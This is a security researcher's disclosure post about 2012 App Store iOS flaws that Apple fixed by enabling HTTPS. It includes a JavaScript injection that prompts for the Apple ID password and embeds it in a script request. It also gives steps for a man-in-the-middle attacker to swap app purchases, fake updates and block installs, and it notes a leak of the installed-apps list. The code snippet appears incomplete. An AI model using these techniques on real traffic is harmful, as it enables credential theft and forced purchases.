Early July 2012, I reported to Apple numerous vulnerabilities related to their App Store iOS app. Last week Apple finally issued a fix for it and turned on HTTPS for the App Store. I am really happy that my spare-time work pushed Apple to finally enabled HTTPS to protect users. This post discuss the vulnerabilities I found. As a bonus, I made several video demos of the attacks described in this post so you can see by yourself how dangerous not having full HTTPS is.
The following attacks are carried out by an active network attack that is able to read, intercept and manipulate non-encrypted (HTTP) network traffic. Hence those attacks can be carried on any public Wifi networks including airport or coffee-shops networks. Being on the same networks as the victims is all it takes. By abusing the lack of encryption (HTTPS) in certain parts of the communication with the App Store, the dynamic nature of the App Store pages, and the lack of confirmation, an active network attacker can perform the following attacks:
The prompt injection and password stealing is performed by injecting the following code into the update page (http://ax.su.itunes.apple.com/WebObjects/MZSoftwareUpdate.woa/wa/viewSoftwareUpdates)
password = prompt("Apple ID Password","");
var s = document.createElement('script');
s.src = "fakepassword=" + password;
var script = document.createTextNode(s);
Note that the App Store uses a templating system so it is probably possible (albeit not tested) to add the App Store username by using the @@username@@ variable into the code.
The attacker and the victim are on the same network (e.g., the airport). The attacker performs a man-in-the-middle attack to intercept the traffic between the App Store app and the iTunes backend. Abusing the lack of encryption on the application detail pages, the attacker is able to swap application purchase/download parameters with the those of his choice. As a result, the attacker is able to force the victim to install/buy an app of his choice when the victim tries to install/upgrade any application. The attacker would be able to monetize this attack by having his own (benign) very expensive application available through the market and forcing the user to install it using the app swapping attack.
When the user clicks on a given application “page”, the App Store sends a request in clear of the following form: (http://itunes.apple.com/us/app/captain-antarctica/id512922449?mt=8) Where idxxxxxxxx is the application ID. Following this request the server returns in the clear a page that contains the app details/rating In particular this page contains the “buy/install application” button which is encoded as an HTML div that looks like this:
<div confirm-text="BUY APP"
item-title="Captain Antarctica" artist-name="FDG Entertainment"
icon-is-prerendered="true" required-capabilities="armv7 "
minimum-os-version="4.2" versionID="7196225" file-size="43895924" class="buy">
To perform the swapping, the attacker intercepts all the application pages’ requests and replaces the content of the buy Div with the values that correspond to the app he wants the user to install. In particular, to be successful the attacker needs to replace the following parameters of the action-params attribute:
AdamId(application id) with the value of the application id that the attacker wants to install.
appExtVrsId(application version) with the value of the application version that the attacker want to install.
price with the price of the app.
The following DIV attributes need to be replaced as well:
item-id with the application id that the attacker wants to install.
versionIDwith the application version of the application that the attacker wants to install.
file-size with the size of the application that the attacker wants to install.
item-bundle with the name of the bundle of the application that the attacker wants to install.
The scenario is almost identical to the one described in the app swapping case. The only difference is that the user is nudged into installing the app by inserting a fake upgrade. Similarly to the application information page, the upgrade page: http://ax.su.itunes.apple.com/WebObjects/MZSoftwareUpdate.woa/wa/viewSoftwareUpdates is sent in clear and contains the upgrade button in form of HTML content that can be rewritten by the attacker.
To inject a fake upgrade, the attacker simply needs to add extra HTML content that replicates what a real upgrade contains with the value of his choice. The only subtlety is to change the number of available updates available in the notification button. This is done by rewriting the special HTML attribute update-count present in the body tag to match the number of fake upgrade injected:
class="usa application room software-updates">
Simply rewrite the buying button or replacing the app ID / version with one for an app already installed to prevent the user from installing the app.
When contacting the upgrade server, the device sends in the clear a PList that contains all the applications installed on the phone. This is a privacy leak as it allows an attacker to know which bank/doctor/services the user uses. It can also allow an attacker to track users, as a list of installed applications is pretty unique to each user (it seems likely that it will generate more than the 31 bits of entropy needed to uniquely identify a user.)
Here is an Example of the PLIST leaked when contacting the following url: http://ax.su.itunes.apple.com/WebObjects/MZSoftwareUpdate.woa/wa/viewSoftwareUpdates
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
I decided to render those attacks public, in the hope that it will lead more developpers (in particular mobile ones) to enable HTTPS. Enabling HTTPS and ensuring certificates validity is the most important thing you can do to secure your app communication. Please don’t let your users down and do the right thing: use HTTPS!